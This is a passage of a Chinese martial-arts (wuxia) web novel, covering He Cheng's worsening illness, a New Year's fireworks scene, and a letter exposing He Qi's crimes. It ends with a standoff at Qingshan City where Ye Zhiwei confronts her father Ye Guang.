钟晓被打个措手不及,边手忙脚乱地闪避,边问:“师姐这是做什么?为何要与我打架?你跟师兄吵架,也不能拿我撒气啊!” 陆晓怜不答,只一味出招:“你别管,同我打便是。” 陆晓怜来势汹汹,钟晓手上没有兵刃,抽了一枝瓶中的花枝来阻挡横秋剑,被打得连连后退。 这分明是在欺负人,贺承笑着摇头,正要出声劝止,钟晓闪避时一脚踢翻了炭盆,脚下一绊,眼看着,竟要往炭火上摔下去。 “当心!”贺承惊呼出声,起身去拉住钟晓的同时,掷出手中茶盏撞偏陆晓怜的剑锋。 茶水泼在将熄的炭火上,滋滋作响,腾起浓稠的白烟。 贺承紧紧拉着钟晓的手,堪堪站稳。他起身太急,大氅滑落显出他近日越发消瘦的身形,寒意沁骨,拉住钟晓的那只手猝然松开,他偏过头去,抬手掩住唇,剧烈咳嗽起来。 他咳得身形不稳,衣袖滑落下来,呛出的零星血沫溅落在苍白手腕上的那枚平安扣上。 贺启留下的平安扣,盛满了祈愿祝福,却无法挽回贺承身体的颓势。 “师兄!”陆晓怜和钟晓一齐担忧地开口。 贺承朝他们摆手,捏着衣角拭去掌心里的粘稠,严厉地看着陆晓怜,声音暗哑:“胡闹!兵刃无眼,怎么可以对着自己人?” 陆晓怜自知理亏,抿着嘴唇不敢争辩。 贺承气得脸色发白,站都站不稳,却不肯让陆晓怜近身分毫。钟晓如今倒是颇有几分眼力,扶着贺承坐回躺椅上,不动声色地将话题引开了去:“我找你们,是要来同你们辞行的。” 第88章 第八十八章过年他又食言了。 曾挥着一柄凌云剑技惊四座的贺承,如今不仅一身伤病,被人逼着散尽一身护体功力,命在旦夕,更是几番背上残害江湖同道的骂名。 关于这些,贺承似乎并不想再去争论什么。大概是他自觉已脱离出青山城,真假虚实都牵连不到旁人,盛名也好,骂名也罢,不久之后都会随着他这一身嶙峋病骨委入尘土。 可钟晓最看重名节,一定要为他贺师兄争个是非曲直来。 他贺师兄走到如今这一步,不仅归咎于一年前陆岳修在无涯洞外的那一记断云掌,更归咎 于西江城里的那一场围剿。他来辞行,为的便是要同金波一道启程,去西江城,去查一查逐月阁那场屠戮的真相。 贺承幽幽叹气:“你有这份心,总是好的。可我不想计较这些了。” “为什么?” 贺承被问得顿了一顿,斟酌着说下去:“难得糊涂,若事事都要追问个明白,无涯洞外师父残杀后生晚辈的事,又哪里瞒得住?”贺承闷声咳嗽,陆晓怜上前来为他抚背顺气。他已时日无多,与她赌气也不过舍得耗费片刻功夫,眨眼间便消了气,不推不闪,就势倚在她身上,继续说下去:“世上难得糊涂,这些事说到底都是因我而起,左右我也没多少时日了,便让这骂名,随我埋到地下去罢。” 对于贺承这种说法,陆晓怜是不认同的,当即追问:“怎么就是因你而起的?” 贺承自知失言,潦草找个说法:“师父身上的失心蛊便是冲着我来的,后面的诸多事端,也都是由此而起。我会在南州与你们相遇,本也是想将这些事查个明白的,可是越查生出越多事情来,折了一个琴剑山庄和一个逐月阁,还不够吗?你们不必想着为我洗脱骂名,十年,二十年,谁还会记得‘贺承’这个名字?你们勤奋练功,重振青山城才是要紧事。” 他顿了一下,闷咳着低头。陆晓怜和钟晓顺着他的目光,看见他的手。 那是一只握剑的手,可如今却羸弱枯瘦得端不稳一杯热茶。 陆晓怜眼眶发烫,握住贺承冰凉的手掌,压着喉咙里的哽咽:“师兄放心,功是要练的,可事也是要查的,你别以为你自己担下罪名就没事了,真正害了逐月阁的人便不去管了吗?你想没想过,这个罪魁祸首日后会不会来害我们青山城?” “不会的。” “你怎么知道?”他答得太快,陆晓怜不由一愣。 这句话贺承答不上来,避开陆晓怜的目光,垂下眼睫,沉默不言。 陆晓怜将他的沉默当做默许,自顾自说下去:“这事我跟钟晓商量过,我走不开,只能等金波那边确定爹爹的情况稳定了,才陪着钟晓启程。师兄放心,他们两人结伴,不会有事的。” 话到这里,贺承实在没有阻拦的理由,只点了头,让陆晓怜去将凌云剑取来。 凌云剑是十四岁那年,陆兴剑亲手为他铸的剑,这么多年来,凌云剑从未离身,即便当初无涯洞外的尸体遍布凌云剑划下的伤口,他也没想过要弃剑脱罪,江湖人几乎已将凌云剑与青山城的贺承看做是一体的。 贺承将凌云剑递给钟晓:“这是当年大师兄给我的,如今我再用不上了,便给你了。” 这话是实话,却叫人听了难受,钟晓不肯伸手去接。 贺承苦笑:“怎么?如今我打不过你,便不听我的话了?” “不是的!枕风楼神通广大,师兄你会没事的!” “那你也先接着,等我好了,再还给我。” “我……” 钟晓一向优柔寡断,贺承终于失去耐心,将凌云剑推入钟晓怀中,逼他手忙脚乱地将剑抱住。贺承重重拍了拍钟晓的肩膀:“拿去吧,宝剑蒙尘,我舍不得,大师兄也会舍不得。这柄剑几经易主,也算是见证我们同门情义之物,你,你好生保管着。” 两日后,金波将陆岳修所需的药引留够,向屠勇交代清楚每日要做的事,与钟晓收拾妥当,便同沈懿行要了两匹快马便启程了。 启程那日骤雪初停,可阳光稀薄,半空中沉甸甸地压着一片一片黑云。风暴似乎即将过去,可前路却也并非光芒万丈的坦途。 钟晓他们走的时候已经入腊月了。这是一年里最冷的时节,沈懿行恨不得将整座湘城上好的碳火都买来,填在贺承房中的炭盆里,却也烘不暖贺承的掌心。陆晓怜已勘破“青山遮”诀窍,游刃有余地运转着体内的强劲内力,平日里练功回来,抖落一身寒意,便缩在贺承身边,催动内力为他暖身子。 饶是如此,冬深岁晚,依旧没有人可以阻拦这一场衰败倾颓。 又一场大雪落下,枕风楼外满眼素白,看得心里发慌。贺承咳血的情况随着天寒,越发严重,屠勇改了几副方子都不见起效,陆晓怜和沈懿行将他堵在屋檐下,红着眼睛追问:“明明每副药都按时喝了,怎么会没有效果?” 屠勇摇头:“气血溃败,之前被伤过的经脉脏腑出血止不住。” 陆晓怜红着眼睛:“那便由着他这样下去吗?” 屠勇被她问得说不出话来,偷偷瞟了沈懿行一眼。这样下去,只有一条死路,可那日贺承气息奄奄地来,沈懿行喂他吞下那颗吊命的药丸,便几乎已经定下了这条路。 “这样下去,他还能撑多久?”沈懿行声音发哑。 屠勇望了眼楼外茫茫的一片白,心一横:“恐怕,等不到开春。” 沈懿行深吸一口气,望着陆晓怜凄然笑道:“那这个年,咱们要热热闹闹地过。” 即便是寒冬腊月,枕风楼也是热闹的,枕风楼楼主一声令下,要什么奇珍异宝没有?沈懿行说要热热闹闹地过年,不出几日,便有人将小红楼装点一新,连木质的栏杆扶手,都罩上了一层染过颜色的兽皮。 贺承没有在枕风楼里过过年。 他很小的时候就被庄荣捡走带到青山城,那时沈懿行年纪也小,虽然因为司渊的缘故对他颇为照顾,却也不能光明正大地把人接到枕风楼里来,只敢藏些过年时才有的糕饼点心,偷偷带给他。 除夕前一日,贺承倚在床头同陆晓怜说起这些往事,又想起了贺启。他看着手腕上的平安扣,幽幽叹了口气:“不知小启和钟晓如今怎么样了,也不见捎个信回来。” 陆晓怜捏捏他冰凉的掌心:“兴许贺启已经找到妙手回春的神医,在赶回来的路上。” 贺承笑笑,不忍心戳破她的自欺欺人:“以前他最喜欢枕风楼的荷花酥,沈大哥过年才能分到一两个,都供他解馋了,也忘了问他,这趟来有没有多吃几个。” “那你呢?你最喜欢什么?” “我啊——”贺承笑笑,微微眯着眼睛回忆,“我那时喜欢猪油白糖糕,磨得细细的糯米粉里混了新熬的猪油,那时连饭都吃不上,这种油润香甜的点心便是人间极品。等哪天厨房做了,你也尝尝。” 大概是病糊涂了,贺承忘了,如今他沈大哥贵为枕风楼楼主,他想吃一块枕风楼小厨房出品的猪油白糖糕,哪里还需要等?他午后才同陆晓怜说起喜欢这个,晚上厨房便将雪白油润的猪油白糖糕蒸好送过来了。 新鲜出炉的白糖糕端端正正地摆在白瓷盘里,丝丝缕缕冒着热气。陆晓怜拈起一块递到贺承嘴边:“师兄,你快尝尝,还是不是以前的味道?” 每日轮番被灌苦汤药,贺承其实没什么胃口。 可他不想拂了陆晓怜的意,就着她的手,轻轻咬了一小口。糯米的甜香与猪油的滑润在舌尖化开,儿时念念不忘的味道,此时充盈在口中竟翻搅起一股难以压制的恶意,那口柔软的白糖糕仿佛变作一只任性妄为的手,扯着他的肠胃翻天覆地地震荡。 “怎么样?好吃吗?”陆晓怜收回手来,托着被贺承咬去小小一个角带白糖糕细细端详,正打算也凑过去咬一口,尝尝她师兄心心念念的滋味,却不料手腕上一凉,竟是贺承发着抖攥住她的手。 贺承一手扣住她的手腕,一手抵在胸腹之间,声音艰涩:“拿,拿痰盂……” 听清了贺承的话,陆晓怜也来不及照做,他话音未落,身子已经猛然往前一扑,伏在床沿,“哇”地呕出刚刚咽下去的那一小口白糖糕。 陆晓怜惊得手里的白糖糕滚落到地上,沾了一身灰扑扑的尘。她哪里顾得上什么白糖糕,急急忙忙地要去扶贺承,却不料手掌还未搭上他的肩膀,便见伏在床边的人痉挛般颤抖了一下,刺眼的血色溅落青砖上,那块刚刚落地的白糖糕也沾染了星点殷红,犹如霜雪之中,凄厉 的点点红梅。 “师兄!怎么会这样!”陆晓怜心中发寒,紧紧抱住贺承的肩膀,转头朝门外喊,“沈楼主!屠堂主!你们快来!” 贺承倚在陆晓怜怀中,挣扎着伸出手安抚地拍拍她的后背,弱声道:“没事,大概是有些积食。你别吵,让我睡一觉就好。” “师兄,你别睡!”陆晓怜怕得声音发抖。 贺承强打着精神安慰她:“我真的只是有些累。让我睡一觉,明日还要陪你守岁……” 贺承不知道自己这一觉睡了多长,只知道醒来时,陆晓怜蹲在床边握着他的手,眼睛肿得像核桃。他睡饱了,于是有力气嘲笑她:“我不过是睡了一觉,大过年的,怎么还哭成这副模样,丢人。” 陆晓怜紧紧握着他的手,抿着嘴唇不说话。 他看了眼窗外的天色。 他记得他累极睡过去时,是用过晚膳暮色降临的时刻,他知道自己身体虚弱,不可能在一两个时辰内醒来,想来,他昏睡了整整一日。 怪不得把陆晓怜吓成这样。 贺承只好又哄她:“说了要陪你守岁,没骗你吧?” 陆晓怜抿着嘴唇点头,瓮声瓮气:“沈楼主备了许多烟火,说等你醒来再放来看。你觉得怎么样?能坐起来吗?我扶你去窗边看烟火好不好?” 窗边放置了一张软榻,可贺承虚弱得坐都坐不稳,陆晓怜自己盘腿坐上去,扶着贺承靠在自己身上,拿两层毯子将他重重裹住。窗子敞开着,冷风灌进来,将两人的发丝吹着纠缠在一起,犹如结发。 陆晓怜紧了紧毯子:“师兄,冷不冷?” 贺承摇头,笑着看向窗外:“也不知沈大哥会玩出什么花样。” 话音刚落,“砰”的一声,火光凌空而起,在半空中炸开,坠落点点火光。 檐角冰棱折射着烟火的流光,贺承苍白得没有底色的脸映出明明灭灭的光。陆晓怜垂头,含着眼泪吻过他冰凉的额头,声音哽咽:“真好看。师兄,明年也让沈楼主准备这样多的烟火放给你看好不好?” “嘭——” 又是一簇金光直冲云霄,炸开漫天流萤般的碎光。 漫天火光明灭,将枕风楼外的夜色映照得亮如白昼。空气中有淡淡的硝石气味,那是火药将自己燃烧殆尽后,残留的一缕青烟。 贺承捉住陆晓怜的手,抵在唇边轻轻一吻:“晓怜,烟火虽短,但璀璨夺目,你不要太难过。别去管明年如何,至少今年我还能陪你守岁。” 陆晓怜没有应声,只是更紧地抱住贺承。 他不知道,其实今天根本不是除夕,他醒来的这一日已经大年初四。 他食言了,他没有陪她守岁。 第89章 第八十九章飞鸽最后一个问题 风平浪静的日子一直持续到元宵节。 湘城的元宵灯火恍若银河倒泻,青石巷陌间浮动着暖橘色的光晕。孩童提着各色灯笼追逐笑闹,护城河上千万盏并蒂莲灯随波逐流,将倒映星月的河水染成流动的胭脂色。 钟晓的信鸽,就是踏着这满城阑珊灯火而来,落在枕风楼的栏杆上。 是陆晓怜拆的信。 钟晓的字迹力透纸背,开头的第一句,便是“切莫令师兄知晓”。 书信尚未读到一半,陆晓怜便明白为何钟晓要在最前头交代那一句话。心惊肉跳地将洋洋洒洒两页信笺读罢,陆晓怜陷入两难。她探头看了一眼里屋睡得安稳的贺承,蹑手蹑脚掩门出去找沈懿行商量。 陆晓怜倚着栏杆,望着远处连绵的灯火,等沈懿行读信。 钟晓的信不长,沈懿行越往下读,眉头便拧得越紧,一封信读完,他俊朗的眉眼之间已虬结成球。饶是见多识广的枕风楼楼主,捧着这封信也是举棋不定:“钟晓的顾虑是有道理,可不告诉小承,实在无法解释你在这个节骨眼上,要丢下他,回青山城去。” 灯火在风中摇曳,陆晓怜的目光却坚定异常。 她将嘴唇咬得发白,收起信笺,沉默半晌,忽然问沈懿行:“沈楼主,我们是不是应该相信师兄?” “什么意思?” “发生了这么多事,他不是经不得风雨的人。而且——”陆晓怜耸了下肩膀,轻轻一笑,“我知道被瞒骗的滋味,我不想骗他。” 正月十六那日晴空万里,阳光明媚得令人恍然觉得已经入春。 可倚在枕风楼七层高楼的栏杆上望去,满眼依旧是一片枯枝败叶,山林重重,笼罩着灰扑扑的沉沉死气。 可草木萧索与山花烂漫又有什么区别?贺承的目光只在陆晓怜身上。 陆晓怜舞剑,陆晓怜沏茶,陆晓怜插花,陆晓怜的一颦一笑都被他深深刻进心里,准备着日后黄泉碧落,相思无医时,做个念想。 因为用心,贺承很轻易便能觉察到,今日的陆晓怜有些不同。她太过心不在焉,挥出的剑招要么乱了阵脚,要么虚软无力,之前明明已经掌握的东西今日又乱了章法,像是贺承这一个多月里不辞辛苦的指点都打了水漂。 贺承摇头叹气,斟了杯茶水,招呼陆晓怜过来:“今日是怎么了?” 陆晓怜装傻:“什么怎么了?” 贺承递出茶杯,淡淡问她:“出了什么事?心浮气躁的。” 陆晓怜一愣,索性将心一横,捧着茶杯,找了凳子在贺承身边坐下,斟酌着字句,小心翼翼地开口:“师兄,我之前要你答应我,不许再骗我瞒我,你还记得吧?” 那自然是忘不掉。因为这事,陆晓怜同贺承闹脾气,一连几日躲着不理人,是贺承追到息山练武场去,丢了半条命,好不容易才把人哄回来。 贺承心有余悸,忙着自证清白:“怎么问起这个?如今我可都是知无不言言无不尽。” “我什么都还没说呢,你心虚什么?”陆晓怜被他逗得笑出声,一饮而尽手中的温水,将茶杯一放,伸手握住贺承的手,拿被热水熨烫得暖融融的掌心给他暖着手,“师兄,我瞒不住你,也不想骗你,可我又担心你的身体。总之,你答应我,不要太生气,也不要太着急,相信我和钟晓能帮师叔处理好的,行不行?” 话到这里,即便陆晓怜不说,贺承也能猜出几分:“是青山城出了什么事?” 陆晓怜点头,低声说:“还不止。” 贺承眉心一蹙,脑中闪过一个念头,却按兵不动地看着陆晓怜,默不吭声。 陆晓怜硬着头皮说:“还跟贺启有关。” 被她握住的手在她掌心里轻颤了一下,贺承挣脱开她的手,缓缓靠回躺椅上。 他既不惊愕也不追问,反应与陆晓怜预料的全然不同,倒令陆晓怜心慌起来,她起身过去,半跪在他身旁的羊毛地毯上,小心翼翼地问:“师兄,你别急啊,没出什么大事,你听我慢慢跟你说……” “怎么能叫没出大事?”贺承垂眸看她,目光漆黑幽深,“青山城弟子贺启屠杀逐月阁,为遮掩罪行,刺瞎同门师兄的眼睛,这样的事,还不够大吗?” 陆晓怜错愕:“你,你都知道了?” “我也只是猜的。”贺承畏寒地往毯子里缩了缩,倦然抬眼看她,“看你这反应——我果然是猜对了。” 陆晓怜讷讷:“猜的?” “是,我在西江城里就觉得奇怪,钟晓眼睛上的伤,就是冲着眼睛去的,利刃甚至连他的鼻 梁眉梢都没有划破。以当时逐月阁那样兵荒马乱的场面,究竟是为了什么,要那样精准地刺伤他的眼睛,却不干脆杀了他。” “刺伤眼睛,却不杀人?”陆晓怜喃喃重复,眼前蓦然一亮,“那人不想伤钟晓性命,却又不想让钟晓看见他!” 贺承目光中流露出赞许的神色。 “那日在场的一共有三波人,除了逐月阁自己和我们,应当还有后来屠杀逐月阁的人。那时孟元经的人与我们已经撕破脸面,没什么好忌惮的,不想让钟晓撞破身份的,是最后屠杀逐月阁的那波人!”陆晓怜瞪大了眼睛,“你那时便开始怀疑贺启了?” 贺承不置可否:“真正让我觉得不对劲的,是钟晓来看我那次。小启与你和钟晓都不亲近,可那日他却格外关心钟晓的眼伤,从屠勇那里问到钟晓不久后便能复明,他便说要走。” 陆晓怜恍然大悟:“他是怕钟晓复明后认出他来!” 贺承点头,神色郁郁:“他会潜入逐月阁,本就是为了帮我,后来会屠杀逐月阁,也是因为孟元经重伤我在先。”贺承抵着唇低低咳嗽,声音轻若叹息:“所以他要走时,我没有拦他。说到底,一切祸端还是在我……” “师兄,你别这样想,贺启做的,其实不止是这一件事!” “不止这一件事?” 陆晓怜摊开钟晓飞鸽传书而来的信笺给贺承:“钟晓找到了躲在西江城中的芷蔚姐姐,芷蔚姐姐说,在爹爹出事前,她听见叶伯伯差人给贺启送东西,让他放在爹爹的餐食之中。金波怀疑,爹爹中蛊,恐怕便与此有关。” 贺承之前一直以为陆岳修身上的失心蛊是桑秀得知她与司渊的骨肉如今的下落后,为了赶尽杀绝所下的,不曾想,这失心蛊竟与他相依为命的好弟弟,还有这样一段渊源。 “他,他怎么能——”贺承握着信笺的手抖得厉害,心口猛然剧痛,“哇”地呛出一口血来。 “师兄!”陆晓怜扑上去扶住贺承,将一脉温和内力自后心打入,护住他脏腑经脉。她急得声音发颤,却叠声劝贺承不要急,揽着他消瘦的肩膀,几乎要哭出来:“都怪我,我跟你说这些做什么!你,你不用知道这些的!” “不……”贺承依在陆晓怜怀中,胸口剧烈起伏着,“不,我得知道……” “好好好,知道便知道吧,事情都已经过去了,你不要多想了。”陆晓怜腾出一只手,拿帕子擦净他唇边的血迹,忧心忡忡,“现在觉得怎么样?这里风大,我送你回房,你睡一觉,其他事,等你醒来再说,好不好?” 贺承摇头,执意不肯结束话题:“你,你刚刚说,青山城也出事了,是什么?” 陆晓怜盯着贺承气色灰败的脸,抿着嘴唇不肯说话。 贺承声音虽低,气势却不减:“说!是什么!” “是凤鸣山。”陆晓怜深吸口气,和盘托出,“叶伯伯与不少江湖同道此刻正在青山城,说,说近来中原武林不太平,琴剑山庄、逐月阁先后出事,元气大伤,青山城也群龙无首,他,他提议将四大门派合并为一个门派……” 贺承冷笑:“原来,凤鸣山打的是这个主意。” 贺承的气息渐渐平稳,陆晓怜收回内力,扶着贺承靠回躺椅上,拉高毯子将他裹严实了:“钟晓来信,是希望能想办法把爹爹送回青山城,金波说,算上从这里去青山城的路程,到达时,正是引出爹爹身上的失心蛊的时候,便能让大伙看清叶广的嘴脸!” “你想陪师父回去?” 陆晓怜没有点头也没有摇头,只是搂着贺承的肩膀,将脸贴在他肩窝里,枕着他脖颈之间微弱跳动的脉搏。 贺承又说:“你想回去,又舍不得我,是不是?” 陆晓怜还是不肯说话,贺承偏过头去吻了吻她的头发,无奈:“怎么动不动就不理人?想回去便回去,我陪你。” “不行!”陆晓怜霍然抬头,“山高路远,你怎么受得住?” “你别管我受不受得住,事已至此,我只问你几个问题。”贺承盯着陆晓怜,先问出第一个问题,“要解青山城之困,师父是不是非回去不可?” “是。” “以师父如今的情况,由别人陪他,你是不是放心不下?” “是” 这两个问题,他问得很快,她也答得很快。转眼到了第三个问题,贺承却觉得话好似卡在喉咙里,迟迟不忍心说出口来。 “师兄?” 陆晓怜疑惑地看着贺承,贺承将心一横,硬着心肠问出口:“最后一个问题,让我死在你身边,或者你赶不及见我最后一面,你选哪个?” 第90章 第九十章围困来者是客。 青山城上一次这样热闹,是在前年陆岳修广发英雄帖,为陆晓怜比武招亲那些时日。 当时的青山城被尊为四大门派之首,掌门陆岳修凭着绝学断云掌独步江湖,他的同门师弟庄荣,号称“武痴”,虽然深居简出,但听说内外功夫远在陆掌门之上。不仅如此,青山城的小辈也是英雄辈出,其中翘楚陆兴剑、贺承等人更是小小年纪便名震四方。 那时,江湖人决断诸事,谁不看几分青山城的眼色? 可世事难料,谁又能想到自山峰跌落谷底,当真只在一夕之间。 无涯洞一事之后,陆岳修下落不明,庄荣痴心武学,不理俗务,青山城群龙无首,呈式微之势。江湖上的人惯会见风使舵,诸事渐渐转到凤鸣山掌门叶广面前去商议,青山城的门庭就此冷落了下来。 经年难遇的这一场宾客盈门,说起来,还是凤鸣山招来的。 陆岳修长袖善舞,往日里这样的场面都是他来应对,庄荣醉心各种武功典籍,不常见这种场面,也不乐见这种场面,除了第一日勉为其难亲自出山门将众人迎了进来,嘱咐厨房好酒好菜地款待,便闭门不出,再不露脸。 凤鸣山掌门叶广领着这帮人浩浩荡荡地来,毕竟不是来吃喝玩乐的。即便好酒好菜地款待着,没过几日,便有人不乐意耗在这里,嚷嚷着要青山城做得了主的人出来议事。 可此刻的青山城哪里有做得了主的人? 陆岳修下落不明,庄荣避而不见,陆兴剑殒命,贺承和陆晓怜远在枕风楼,连钟晓也不在青山城,城里的弟子大多年纪小资历浅,能撑得起场面的人实在没几个。 叶广撺掇着人闹着要见庄荣,庄荣是痴不是傻,多少看出来者不善,索性躲在后院称病不出。守着通往后院山道的小弟子有骨气,称这是外客不便去的地方,横剑当胸,语气铿锵,说不让便不让。 双方僵持不下,是葛文葛武解的围。 葛家兄弟原是琴剑山庄弟子,与惨死无涯洞外的江非沉是师兄弟。琴剑山庄出事后,他们兄弟二人被贺承与陆晓怜所救,走投无路,听了陆晓怜的话,来到青山城生活。 今日来青山城的人,有不少亲历过去年琴剑山庄的变故,其中不乏还认得葛家兄弟的。葛文葛武不是什么响当当的人物,离开琴剑山庄后去往何处无人在意,此时见到他们,众人也只当他们是混在人群里,一道来凑热闹的。 可这热闹,他们却凑得很用心。 葛文葛武拦着气势汹汹的诸人,一番话说得入情入理:“来者是客,这是青山城的内院,主人家不让我们进,硬闯进去,便是我们的不是,何况守门的只有这两个十四五岁的孩子,真要动了手,无论输赢,都是不好看的。” 青山城内外心知肚明,今日的事是叶广挑起的,可他却不在人群里头。人群最前面打头的两位想是把葛文的话听了进去,却又不想跟叶广没有交代,互相使了个眼色,开口道:“那怎么办?难不成我们便这样日复一日耗下去?” “什么怎么办?我们又没拦着,不让你们走。” 通往后院的细长山道上传来一个脆生生的童声。众人定睛看去,说话的是个看上去只有五六岁的瘦弱孩子。那孩子捏着根细长的野草,站在石阶上,噘着嘴瞪他们,气哼哼地接着说道:“你们又不是我们请来的,好酒好菜地招呼你们,不感激便罢了,我师父都病了,你们还要来吵吵闹闹地打扰他老人家休养,哪里有这样做客的道理?” 被一个孩童这样说,一帮人脸上都挂不住,嘴硬争辩:“我们也是关心庄前辈。如今青山城也没个主事的人,庄前辈病了,你等黄口小儿,能照顾得好吗?” 那小孩不甘示弱:“关心人哪 里是你们这个样子的?一来便吵吵嚷嚷,还要跟我师兄动手?“赶在对方胡说八道前,那孩子眼珠子一转,继续说:“真正想探病的人应该是像那两位哥哥一样,他们若要见我师父,我倒是可以领他们进去。” 小孩短短的手指一伸,指向葛文葛武两兄弟。 葛文一副受宠若惊的模样:“我和我大哥吗?” 小孩点头,惊讶道:“难道你们并不想见我师父?那就算了。” 他说罢转身要走,当即有人出声阻拦:“小兄弟便领着他们去吧。”他背过身来,朝葛文葛武使个眼色,压低声音道:“我们这么多人硬闯人家后院确实不妥,你们去看看庄荣是真病了,还是装病。” 葛文葛武点头,跟在那孩子身后,沿着山道往后院走去。 绕过一方石壁,确定外面的人看不见他们,那孩子才转过身,蹦蹦跳跳跑过来,一手拉着葛文,一手拉着葛武,兴奋道:“武哥,文哥,我刚刚棒不棒?” 这孩子不是别人,正是当初殒命在无涯洞外的琴剑山庄弟子江非沉的弟弟江阿小。他与祖母从琴剑山庄接回兄长的尸身下葬后,再没有待在南州城的理由,由葛家兄弟送到青山城,拜入庄荣门下,成了庄荣的关门弟子。 葛武揉揉江阿小的脑袋,夸得精简利落:“很棒。” 葛文问他:“庄前辈一切都好吗?” “师父只是装病,又不是真的病了,自然是一切都好。”话虽如此,江阿小还是皱着小小的眉头,少年老成地叹气,“就是不知道我那钟师兄、陆师姐什么时候能回来,那帮人在这里待着,我饭都吃不香。” 说话间,三人已走到庄荣居住的院落。 本该病得起不了身的庄荣正坐在屋子里翻新得的拳谱,听见门外的动静,抬头看去。他眼含精光,目光锐利如鹰隼,逼得打起遮风帘迈进屋子里的葛家兄弟顿了半步。 看清来人,庄荣的目光旋即温和下来,又变回那个游于尘外的平和老头。 庄荣招呼葛家兄弟坐下,江阿小去倒了茶水来,也乖乖巧巧地坐到他师父身边,仰着头听大人们说话。 外头那帮人,名为做客,其实把青山城围得水泄不通,里面的消息送不出去,外面的消息也传不进来。这些日子,庄荣不至于闭目塞聪,全有赖于江阿小和葛家兄弟。 江阿小之前吃不饱穿不暖,生得瘦弱,看着比实际年纪还小一些,却又比同龄的孩子要机灵得多。恰好他一个看上去只有五六岁的小孩无人设防,这几日青山城鱼龙混杂,不少消息都是他带出去,再请葛家兄弟想办法传递给钟晓的。 葛家兄弟与庄荣能面对面说上话,近几日以来,这是第一次。 葛文递出钟晓托他带进青山城来的信笺,正说起钟晓和金波已带着叶芷蔚从西江城赶来,算算日子,这几日也该到青山城了,话音刚落,便听得院外一阵慌乱的脚步声。 只见之外守在山道上的那两名小徒弟中的一人慌慌张张地闯进来:“师父,师父,钟晓师兄回来,跟人在外面打起来了!” “跟谁打起来?为了什么打起来的?” “钟师兄要进后院来看您,他们拦着不让,钟师兄亮了凌云剑,他们又开始说贺师兄的不是,钟师兄气不过,就打起来了。” 庄荣顾不得拆信,霍然起身:“我徒儿回自己家,他们一帮外人,凭什么拦人?还在我们青山城地盘上,对我们青山城的人说三道四,凭什么!” 庄荣向来护短的,这帮人骂了贺承,打了钟晓,他哪里气得过?当即阴沉着脸,一甩衣袖,大步朝外走去。 沿着山道,绕过一块山石,果然便看见几个人将钟晓团团围住。许是因为身在青山城,又有前车之鉴,钟晓不敢让凌云剑出鞘。他手下留情,以剑鞘点到为止,围在他周边的人却不承他的情,一招一式都凌厉异常,不留丝毫情面。 庄荣可没有他的徒弟讲道理,几步上前去,抬手一挥,掌风倾泻而出,将挥剑攻至钟晓近身处的几人一掌震开,高声呵斥:“这是谁家不仁不义的东西?人家是收剑不出,不愿伤人,你们倒好,招招下狠手。” 听见庄荣的声音,钟晓手中一顿,再无心与人恋战,格开攻至近身的几人,几个起落立到庄荣身边,兴奋道:“师父,您没事吧?我听说您病了,又被人围困在城中,心里着急,就,就同他们动了手。” “我骗人的,装病。”庄荣压低声音,嘿嘿一笑,“我就是不想见这些人。” 他的声音明明压得很低,可不远处叶广接的话,却凑巧得像是听见了他的话。叶广与孟岗是听见动静一同赶来,可叶广的注意力显然不在钟晓身上,他看见庄荣露脸,面上一喜:“庄贤弟身体可大好了?” 庄荣凉凉瞟了他一眼:“若是青山城清静些,我大概能好得更快些。” 虽知这话是针对自己的,可叶广不以为忤,笑吟吟地问庄荣:“既然庄贤弟身体无恙,咱们就来谈谈正事吧。事情落定了,大家也好安心回去。” 庄荣耸肩,好笑地看着叶广:“正事?不如我们先聊聊,你究竟是答应了什么好处,才说动这么一帮人赖在我青山城不走的?” 叶广还是笑:“贤弟怕是有什么误会。实在是这一年来,江湖上风波频生,琴剑山庄、逐月阁先后出事,青山城如今也是群龙无首,我与孟兄才会出此下策……” “青山城群龙有首无首与你们何干?你们操心自己家的事便罢了,不必插手我们青山城的事。” 庄荣冷声打断,一点情面也没给叶广留。可叶广没动怒,这话激怒的却是一直一言不发的孟岗。他膝下两子或死或伤都与青山城有关,听着庄荣这话,当即开口:“怎会与我们无关?青山城掌门下落不明,弟子无人管束,难道还要放任他们为所欲为,再造下几次逐月阁惨案吗?” 话里没提人名,可说的是谁,在场的人心知肚明。 钟晓顾不得长幼有序,当即反驳:“当初在西江城里,我师兄便说了,逐月阁的事与他无关,孟前辈怎么还咬着不放?” 孟岗冷哼:“姓贺的也不是第一次造下杀戮,畏罪而逃了。他的话,你要信是你的事,反正我是不信的。” 话音落尽,众人身后传来几声轻笑。众人循声回头,只见贺承与陆晓怜携手而立。 犹如一滴冷水滚进油锅,霎时炸开层层叠叠的议论。 可身处风波中心,那滴冷水笑而不语,只平静从容地看着。待人群中的议论声稍止,贺承才开口,声量虽低,一字一句却说得极为清晰:“孟前辈,我的话,您不愿意信确是情理之中。可这个人的话,您会信不信?” 说罢,贺承微微侧身,将身后的人让到人前来。 那人一身素色衣裳,不施粉黛,不簪环佩,纤瘦至极,也憔悴至极,正是逐月阁出事后,音信全无的叶芷蔚。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 90-97 第91章 第九十一章解围众人心中埋下了一颗…… “芷蔚!你怎么在这里?”叶广惊愕。 叶芷蔚神色复杂地看着自己的父亲,竟分辨不出他喊出自己的名字时,声音里夹杂着的情绪,是惊?是喜?还是惧? 她没有回话,只神色木然地与贺承、陆晓怜等人一 起穿过人群,同庄荣、钟晓站到一处,与她的父亲叶广遥遥对望着。 兴许是走出这几步的间隙,为她积攒出说话的力气,又或者是与青山城的人站在一处,令她有了说话的底气,她的目光越发平静,望着叶广,声音不悲不喜:“父亲,见到我还活着,您是觉得失望?还是害怕?” “你怎么这样说?”叶广眸光微闪,“看到你没事,我自然高兴,怎么可能会……” “真的吗?我没有死在逐月阁的杀局里,您是高兴的吗?”叶芷蔚出声打断,她的声音柔和甜美,听着有几分惹人心疼的凄楚,可是她的眼中没有泪意,她的眼泪在奉命杀她的凤鸣山弟子于心不忍地割下她一缕发丝扬长而去时,便流光了。 “父亲难道忘了,您派人屠杀逐月阁时,特意拨出过三个人专门来杀我?” 一句话提了两件事,还牵扯上了逐月阁,叶广当即变了脸色:“你胡说什么!” 叶广看一眼孟岗,解释道“孟岗兄,这孩子不知道经历了什么事情,平白无故地编排出这些瞎话,让我先问问她究竟是怎么回事!” 边说着,他几步上前,便想来拉叶芷蔚。 